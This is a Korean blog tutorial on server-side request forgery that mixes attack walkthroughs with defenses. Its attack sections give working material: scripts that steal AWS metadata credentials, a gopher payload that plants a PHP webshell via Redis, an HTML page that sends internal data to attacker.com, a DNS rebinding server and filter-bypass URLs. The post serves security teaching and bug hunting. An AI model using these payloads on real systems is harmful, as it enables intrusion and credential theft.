SSRF 완벽 가이드: 서버를 역이용하는 공격 기법
TL;DR: SSRF(Server-Side Request Forgery)는 서버가 공격자가 지정한 임의의 URL로 요청을 보내도록 만드는 취약점입니다. 내부 네트워크 접근, 클라우드 메타데이터 탈취, 포트 스캔 등 다양한 공격이 가능합니다.
SSRF란?
SSRF는 서버가 외부 리소스를 가져올 때, 그 URL을 사용자가 제어할 수 있는 경우 발생합니다.
취약한 코드 예시
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 💀 사용자 입력 그대로 요청!
return response.text
사용 예시:
# 정상적인 사용
curl "https://victim.com/fetch?url=https://example.com"
# 공격 - 내부 네트워크 접근
curl "https://victim.com/fetch?url=http://localhost:6379"
curl "https://victim.com/fetch?url=http://192.168.1.100/admin"
왜 위험한가?
1. 내부 네트워크 접근
서버는 일반적으로 방화벽 내부에 있어서 외부에서 접근 불가능한 내부 서비스에 접근할 수 있습니다:
인터넷 → [방화벽] → 웹 서버 (취약점) → 내부 DB/Redis/Admin Panel
↑
공격자가 제어
2. 클라우드 메타데��터 탈취
AWS, GCP, Azure 등의 클라우드 환경에서는 인스턴스 메타데이터 서비스가 매우 민감한 정보를 제공합니다:
# AWS EC2 메타데이터 (169.254.169.254)
curl "https://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
응답:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJal...",
"Token": "IQoJb3...",
"Expiration": "2026-03-03T06:30:00Z"
}
→ 임시 AWS 크레덴셜 획득 → 클라우드 리소스 전체 접근 가능!
3. 포트 스캔 & 서비스 핑거프린팅
응답 시간이나 에러 메시지로 내부 네트워크 구조 파악:
import requests
import time
for port in range(1, 1000):
start = time.time()
try:
requests.get(f"https://victim.com/fetch?url=http://192.168.1.10:{port}", timeout=2)
except:
pass
elapsed = time.time() - start
if elapsed < 1.5: # 빠른 응답 = 포트 오픈
print(f"Port {port} is OPEN")
실전 공격 시나리오
시나리오 1: AWS IAM Role 크레덴셜 탈취
# 1단계: 메타데이터 API에 접근 가능한지 확인
url1 = "http://169.254.169.254/latest/meta-data/"
response = requests.get(f"https://victim.com/fetch?url={url1}")
print(response.text)
# 출력: iam/, instance-id/, security-groups/ ...
# 2단계: IAM role 이름 확인
url2 = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(f"https://victim.com/fetch?url={url2}")
role_name = response.text.strip()
print(f"Role: {role_name}")
# 3단계: 크레덴셜 탈취
url3 = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(f"https://victim.com/fetch?url={url3}")
creds = response.json()
print(f"AccessKeyId: {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token: {creds['Token']}")
# 4단계: AWS CLI로 권한 테스트
# export AWS_ACCESS_KEY_ID=...
# export AWS_SECRET_ACCESS_KEY=...
# export AWS_SESSION_TOKEN=...
# aws s3 ls # S3 버킷 목록 조회
시나리오 2: Redis RCE (CVE-2022-0543)
Redis가 내부 네트워크에서 실행 중이고 인증이 없는 경우:
# Redis 서버 확인
curl "https://victim.com/fetch?url=http://192.168.1.100:6379"
# Redis 명령 실행 (Gopher 프로토콜 이용)
# 1. Redis에 webshell 작성
payload = """
*3
$3
SET
$8
webshell
$50
<?php system($_GET['cmd']); ?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
SAVE
"""
# URL 인코딩
import urllib.parse
encoded = urllib.parse.quote(payload.replace('\n', '\r\n'))
gopher_url = f"gopher://192.168.1.100:6379/_{encoded}"
curl "https://victim.com/fetch?url={gopher_url}"
→ /var/www/html/shell.php 생성 → RCE 달성!
시나리오 3: PDF Generator SSRF
PDF 생성 서비스에서 HTML을 PDF로 변환할 때 SSRF 발생:
<!-- exploit.html -->
<html>
<body>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://admin.internal/secret-api?token=XXXX">
<script>
fetch('http://192.168.1.50:8080/admin')
.then(r => r.text())
.then(data => {
// exfiltrate data
fetch('https://attacker.com/log?data=' + btoa(data));
});
</script>
</body>
</html>
curl -X POST https://victim.com/convert-to-pdf \
-d '{"html_url": "https://attacker.com/exploit.html"}'
→ PDF 내부에 메타데이터/내부 페이지 렌더링됨!
우��� 기법
1. URL 파싱 차이 악용
많은 블랙리스트 필터는 간단한 문자열 매칭을 사용:
# 취약한 필터
def is_safe_url(url):
blacklist = ['localhost', '127.0.0.1', '169.254.169.254']
return not any(bad in url for bad in blacklist)
우회 방법:
# 1. 대소문자
http://LocalHost/
# 2. IP 인코딩
http://127.1/ # 127.0.0.1과 동일
http://2130706433/ # 0x7F000001 (10진수)
http://0x7f.0x0.0x0.0x1/ # 16진수
# 3. DNS rebinding
http://spoofed.burpcollaborator.net/ # DNS가 127.0.0.1로 응답하도록 설정
# 4. 리다이렉트 체인
http://attacker.com/redirect → 302 → http://169.254.169.254/
# 5. URL 파서 혼란
http://google.com@127.0.0.1/ # user@host 형식
http://127.0.0.1#@google.com # fragment 이용
2. 프로토콜 스무글링
HTTP 외의 프로토콜 사용:
# Gopher (Redis, SMTP, FTP 등)
gopher://192.168.1.100:6379/_SET%20key%20value
# File (로컬 파일 읽기)
file:///etc/passwd
# Dict (포트 스캔)
dict://192.168.1.100:22/
# LDAP (LDAP 인젝션)
ldap://192.168.1.100:389/dc=example,dc=com
3. DNS Rebinding
공격자가 제어하는 DNS 서버 이용:
# dns_rebind.py
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer
class RebindResolver:
def __init__(self):
self.counter = 0
def resolve(self, request, handler):
reply = request.reply()
qname = request.q.qname
# 첫 요청: 정상 IP (필터 통과)
if self.counter == 0:
reply.add_answer(RR(qname, rdata=A("1.2.3.4")))
# 두번째 요청: 내부 IP (실제 공격)
else:
reply.add_answer(RR(qname, rdata=A("169.254.169.254")))
self.counter += 1
return reply
# DNS 서버 실행 (포트 53)
resolver = RebindResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()
사용:
curl "https://victim.com/fetch?url=http://evil.attacker.com/"
# 서버가 DNS 조회 → 처음엔 1.2.3.4 (정상)
# 두번째 요청 → 169.254.169.254 (공격!)
방어 기법
1. 화이트리스트 기반 검증
from urllib.parse import urlparse
ALLOWED_HOSTS = ['example.com', 'api.partner.com']
def is_safe_url(url):
try:
parsed = urlparse(url)
# 프로토콜 검증
if parsed.scheme not in ['http', 'https']:
return False
# 호스트 화이트리스트
if parsed.hostname not in ALLOWED_HOSTS:
return False
return True
except:
return False
2. 네트워크 레벨 차단
import ipaddress
import socket
def is_private_ip(hostname):
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
# Private/Reserved IP 차단
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved:
return True
# Cloud metadata IPs
if ip == '169.254.169.254': # AWS/GCP/Azure
return True
return False
except:
return True # DNS 실패 = 의심스러움
def fetch_url_safe(url):
parsed = urlparse(url)
# DNS rebinding 방어: 요청 직전 재검증
if is_private_ip(parsed.hostname):
raise ValueError("Private IP detected")
response = requests.get(url, timeout=5)
return response.text
3. 최소 권한 원칙
# AWS IMDSv2 (Session Token 필수)
# /etc/cloud/cloud.cfg.d/99-imdsv2.cfg
datasource:
Ec2:
metadata_urls:
- http://169.254.169.254:80
timeout: 10
max_wait: 120
# IMDSv2 활성화 (세션 토큰 필수)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
IMDSv2는 2단계 인증 필요:
# 1단계: 세션 토큰 요청 (PUT 메소드 필수)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# 2단계: 토큰으로 메타데이터 요청
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
→ SSRF로는 PUT 요청 + 커스텀 헤더를 보내기 어려움!
4. 응답 필터링
def fetch_with_filtering(url):
response = requests.get(url, timeout=5)
# 민감한 키워드 탐지
sensitive_patterns = [
'AccessKeyId',
'SecretAccessKey',
'private_key',
'password',
]
content = response.text.lower()
for pattern in sensitive_patterns:
if pattern.lower() in content:
logger.warning(f"Sensitive data detected in SSRF response: {url}")
return "[REDACTED]"
return response.text
CTF/Bug Bounty 팁
1. SSRF 찾는 곳
자주 발견되는 기능들:
- 이미지 업로드 (URL로 가져오기)
- PDF/문서 변환기
- Webhook 설정
- 프록시/터널 서비스
- RSS 피드 리더
- URL preview/unfurl
- QR 코드 생성기
2. 테스트 체크리스트
# Burp Collaborator나 webhook.site 사용
TEST_URL="https://YOUR_UNIQUE_ID.burpcollaborator.net"
# 1. 기본 SSRF
?url=$TEST_URL
# 2. 내부 IP
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://[::1]:80
# 3. 클라우드 메타데이터
?url=http://169.254.169.254/latest/meta-data/
# 4. 프로토콜
?url=file:///etc/passwd
?url=gopher://127.0.0.1:6379/_INFO
# 5. 리다이렉트
?url=http://attacker.com/redirect.php
# 6. DNS rebinding
?url=http://rebind.attacker.com/
3. Blind SSRF 탐지
응답이 보이지 않는 경우:
# 타이밍 기반 탐지
import time
# 1. 오픈 포트 (빠른 응답)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:80", timeout=10)
open_time = time.time() - start
# 2. 닫힌 포트 (느린 응답/타임아웃)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:12345", timeout=10)
closed_time = time.time() - start
if open_time < 2 and closed_time > 5:
print("Blind SSRF confirmed via timing!")
DNS 기반 탐지:
# Burp Collaborator 또는 Interactsh
?url=http://UNIQUE_ID.burpcollaborator.net
# DNS 로그 확인 → SSRF 존재 확인
실제 사례
Case 1: Capital One 해킹 (2019)
- SSRF → EC2 메타데이터 탈취
- 1억 명 이상의 개인정보 유출
- 공격자는 WAF 설정 실수를 이용해 SSRF 수행
Case 2: Google Cloud Shell (2020)
- PDF 생성 기능에서 SSRF 발견
- 내부 Kubernetes API 접근
- $7,500 버그바운티 획득
Case 3: Uber Bug Bounty (2018)
- 이미지 업로드 기능의 SSRF
- 내부 서비스 스캔 → 민감한 API 발견
- $5,000+ 보상
마무리
SSRF는 겉보기엔 단순해 보이지만, 올바르게 방어하기 매우 어려운 취약점입니다.
공격자 관점:
- 내부 네트워크 = 보물창고
- 클라우드 환경에서 특히 치명적
- Blind SSRF도 충분히 활용 가능
방어자 관점:
- 화이트리스트만이 답
- 네트워크 세그먼테이션 필수
- IMDSv2 같은 최신 보호 기법 적용
다음 포스트에서는 Blind SQLi 타임 기반 익스플로잇을 다뤄보겠습니다.
해피 해킹! 🥞